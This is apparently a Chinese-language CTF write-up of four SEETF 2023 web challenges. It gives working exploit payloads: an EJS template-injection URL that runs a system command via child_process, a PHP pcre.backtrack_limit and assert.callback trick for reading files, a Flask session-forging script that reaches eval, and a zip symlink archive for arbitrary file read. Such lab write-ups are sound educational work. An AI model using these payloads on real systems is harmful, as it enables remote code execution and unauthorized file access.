2023SEETF

2023SEETF

Express JavaScript Security

这题算是我学会怎么去调试一个js后端的一个开始

在vscode中的调试选项中新建一个node.js调试配置,并且更改配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"version": "0.2.0",
"configurations": [
{
"type": "node", //启动方式
"request": "launch",
"name": "Launch Program",
"program": "${workspaceFolder}/main.js", //入口文件
"skipFiles": [ //跳过文件
// "<node_internals>/**"
],

}
]
}

记得把skipFiles注释掉就行了,然后就可以愉快的调试了

image-20230818134152536

在这里下一个断点,然后正常去访问页面,会调用render,将get的参数传入

image-20230818134331920

不断进行F11,下面在ejs.js进行了一些判断

image-20230818140144925

image-20230818141947687

image-20230818142052534

最后会生成一个文件

image-20230818140632625

简单来说,setting的参数会被赋值到options,然后通过改变setting的参数使得生成的模板可以执行代码,需要利用的就是

1
2
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;

也就是说利用

1
2
3
4
viewOpts = data. settings['view options'];
if (viewOpts) {
utils.shallowCopy(opts, viewOpts);
}

这代码会将view options的键值对赋值给opts然后传递给options,之后对其中的值进行判断再还给opts然后对opts进行处理生成文件

1
2
3
4
5
6
if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

如果传入的client的值为真,会将escapeFn传入生成的模板中,然后在生成的模板文件中如果注入恶意代码就可以进行RCE了

EJS@3.1.9 has a server-side template injection vulnerability (Unfixed) · Issue #735 · mde/ejs · GitHub

然后使用escape绕过黑名单就可以了

1
http://127.0.0.1:3000/greet?name=q&font=Arial&fontSize=20&settings[view options][client]=true&settings[view options][escape]=1;return global.process.mainModule.constructor._load('child_process').execSync('calc');

Sourceful Guessless Web

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ini_set('display_errors', 0);

$flag = "SEE{FAKE_FLAG}"; // Oops, my dog ate my flag...

if (isset($_GET['flag']) && preg_match("/^SEE{.*}$/", $_GET['flag'])) {
$flag = $_GET['flag'];

if (isset($_GET['debug']) && isset($_GET['config'])) {
foreach ($_GET['config'] as $key => $value) {
ini_set($key, $value);
}
}
}
assert(preg_match("/^SEE{.*}$/", $flag), NULL);

这里需要flag能够匹配SEE{}这样的形式,然后会触发assert断言

那么对于preg_match可以通过设置pcre.backtrack_limit的回溯次数来进行绕过,如果设置为0,那么就说明不会进行匹配,将返回0,触发assert错误,那么对于assert相关设置PHP: 运行时配置 - Manual

可以查看官方文档,

通过设置assert.callback string

断言失败后要调用的回调函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
// This is our function to handle
// assert failures
function assert_failure($file, $line, $assertion, $message)
{
echo "The assertion $assertion in $file on line $line has failed: $message";
}

// This is our test function


// Set our assert options
assert_options(ASSERT_ACTIVE, true);
assert_options(ASSERT_BAIL, true);
assert_options(ASSERT_WARNING, false);
assert_options(ASSERT_CALLBACK, 'assert_failure');

// Make an assert that would fail
assert(0);

// This is never reached due to ASSERT_BAIL
// being true
echo 'Never reached';
?>

那么就可以构造出exp

1
flag=SEE{szdc}&debug=1&config[pcre.backtrack_limit]=0&config[assert.callback]=readfile

参考:https://github.com/Social-Engineering-Experts/SEETF-2023-Public/blob/2588dd0358cb83c8e7c6eb63743c2fe90e35a5b1/challs/web/福/README.md

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from flask import Flask, request, session
from z3 import *
import random
import json
import zlib
from waitress import serve
from itsdangerous import base64_decode

keys = []

app = Flask(__name__)

with open('flag.txt') as flag:
contents = flag.read()
福 = contents.strip()

def solve(a_value, b_value, c_value, d_value, f_value):
# Create the variables
a, b, c, d, e, f = Ints('a b c d e f')

# Set the relationships between the variables
constraints = [And(8 <= v) for v in [a, b, c, d, e, f]]
constraints += [a == a_value]
constraints += [b == b_value]
constraints += [c == c_value]
constraints += [d == d_value]
constraints += [f == f_value]
constraints += [(a ** 3) * (b**2 + c**2) * (2*d + 1) == (e**3) + (f**3)]


# Find a satisfying solution
s = Solver()
s.add(constraints)
if s.check() == sat:
m = s.model()
return int(m[e].as_long())
else:
return None

def decrypt_cookie(signed_cookie):
try:
compressed = False
if signed_cookie.startswith('.'):
compressed = True
signed_cookie = signed_cookie[1:]
data = signed_cookie.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return json.loads(data.decode())
except Exception as e:
raise e

def replace_secret_key():
if 'key' in session and session['key'] not in keys:
keys.append(session['key'])
app.config["SECRET_KEY"] = session['key']
if 'session' in session and 'end' not in session:
new_session = session['session']
session.update(decrypt_cookie(new_session))
replace_secret_key()

def secret(key):
random.seed(key)
return random.randint(8, 88888)

@app.route('/福', methods=['POST'])
def fortold():
keys.clear()
start = request.form.get('key')
app.config['SECRET_KEY'] = start
replace_secret_key()

value = [secret(key) for key in keys]
result = solve(*value)

if result is not None:
return eval(chr(result))
else:
return 'Bad Luck.'

if __name__ == '__main__':
serve(app, host='0.0.0.0', port=80)

先看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route('/福', methods=['POST'])
def fortold():
keys.clear()
start = request.form.get('key')
app.config['SECRET_KEY'] = start
replace_secret_key()

value = [secret(key) for key in keys]
result = solve(*value)

if result is not None:
return eval(chr(result))
else:
return 'Bad Luck.'

接受一个key,调用replace_secret_key(),然后将value传入solve,最后eval result

对于replace_secret_key()将会递归一样的使用decrypt_cookie解密cookie,最后在含有end的情况下停止,然后将这几层key传入solve,放回e,之后eval(chr(e))

,那么解题思路就是先找到满足solve函数的字符串,然后递归加密key,传入即可,那么最终要得到的e是这个字符,因为

1
2
3
with open('flag.txt') as flag:
contents = flag.read()
福 = contents.strip()

那么首先先得到福的数值

1
ord('福')==31119

然后找到a-f的数值

https://www.wolframalpha.com/input?i=solve+(a^3)(b^2%2Bc^2)(2d%2B1)++%3D++(31119^3)%2B(88888^3)+over+the+integers+

需要进行调整,数值整体会偏大

https://www.wolframalpha.com/input?i=solve+(41^3)(b^2%2Bc^2)(2d%2B1)++%3D++(31119^3)%2B(88888^3)+over+the+integers+

然后通过脚本获得相应的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import random
import itertools

def secret(value):
random.seed(value)
return random.randint(8, 88888)

values_to_find = [41, 1728, 803, 1463, 88888]
found_values = []

for combination in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=4):
input_value = ''.join(combination)
result = secret(input_value)
if result in values_to_find:
found_values.append(input_value)
values_to_find.remove(result)
print(result,input_value)
if not values_to_find:
break

//1728 aqoi
//1463 aucl
//88888 bphi
//41 cdsn
//803 ewmu

然后生成出session

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import subprocess

SECRET_KEYS = ["cdsn","aqoi","ewmu","aucl","bphi"]

def generate_cookie(secret_key,index=0):
if index == len(SECRET_KEYS):
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"end": "' + secret_key + '"}', '--secret', secret_key])
return cmd_out.decode('utf-8').strip()
else:
session_hash = generate_cookie(SECRET_KEYS[index], index+1)
cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"key": "' + SECRET_KEYS[index] + '","session":"' + session_hash + '"}', '--secret', secret_key])
return cmd_out.decode('utf-8').strip()

cookie = {'session' : generate_cookie(SECRET_KEYS[0])}
data = {"key":'cdsn'}
response = requests.post('http://福.web.seetf.sg:1337/%E7%A6%8F', cookies=cookie, data=data, proxies={'http':'http://localhost:8080'})

print(response.text)

'''
cdsn:41
aqoi:1728
ewmu:803
aucl:1463
bphi:88888
'''

Throw your malware here!

后端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from typing import Optional
import zipfile
import random
import shutil
import string
import subprocess
from pathlib import Path

import pefile
from fastapi import FastAPI, HTTPException, UploadFile
from fastapi.responses import JSONResponse


FILE_CACHE = Path("/app/cache")
FLOSS_PATH = Path("/usr/local/bin/floss")

app = FastAPI()


def get_random_string(length: int = 16) -> str:
# choose from all lowercase letter
letters = string.ascii_lowercase
return "".join(random.choice(letters) for _ in range(length))


@app.on_event("startup")
def startup():
# Ensure caches exist
if not FILE_CACHE.is_dir():
FILE_CACHE.mkdir()


def run_floss(target: Path) -> str:
args = [str(target), "--json"]
try:
pefile.PE(name=str(target))
except pefile.PEFormatError:
args.extend(("--only", "static"))
output = subprocess.check_output((FLOSS_PATH, *args))
return output.decode()


@app.post("/floss")
def floss_endpoint(sample: UploadFile, password: Optional[str]) -> JSONResponse:
random_path = get_random_string()
while (target_path := FILE_CACHE / random_path).exists():
random_path = get_random_string()
with target_path.open("wb+") as f:
shutil.copyfileobj(sample.file, f)
is_zipfile = zipfile.is_zipfile(target_path)
if is_zipfile:
with zipfile.ZipFile(target_path) as f:
# No zip bombs!
file_size_sum = sum(data.file_size for data in f.filelist)
compressed_size_sum = sum(data.compress_size for data in f.filelist)
if (file_size_sum / compressed_size_sum > 10):
raise HTTPException(413, "Zip Bomb Detected")

zipobjects = f.infolist()
if any(zipobject.file_size > 50000 for zipobject in zipobjects):
raise HTTPException(418, "I'm a teapot!")
files = f.namelist()
args = ["unzip"]
if password:
args.extend(("-P", password))
args.extend((str(target_path), "-d", f"{FILE_CACHE / random_path}-zip"))
a = subprocess.run(args)
if a.returncode != 0:
raise HTTPException(422, "Invalid password!")
targets = [FILE_CACHE / f"{random_path}-zip" / file for file in files]
else:
targets = [target_path]
results = [run_floss(target) for target in targets]
return JSONResponse(
{target.name: result for target, result in zip(targets, results)}
if is_zipfile
else results[0]
)

floss路由允许我们上传一个具有密码的zip文件,然后使用unzip解压文件,将每一个文件调用 FLOSS 来执行分析。输出作为 JSON 响应返回。那么使用zipslip漏洞就可以实现任意文件读取

1
2
ln -s ../../../etc/flag flag.link
zip -P flag --symlink flag.zip flag.link
1
2
3
4
5
6
7
8
9
10
11
import requests

# 定义要上传的文件
files = {'sample': open('flag.zip', 'rb')}

# 发送POST请求
response = requests.post('http://ip:port/floss?password=flag', files=files)

# 打印响应内容
print(response.status_code)
print(response.json())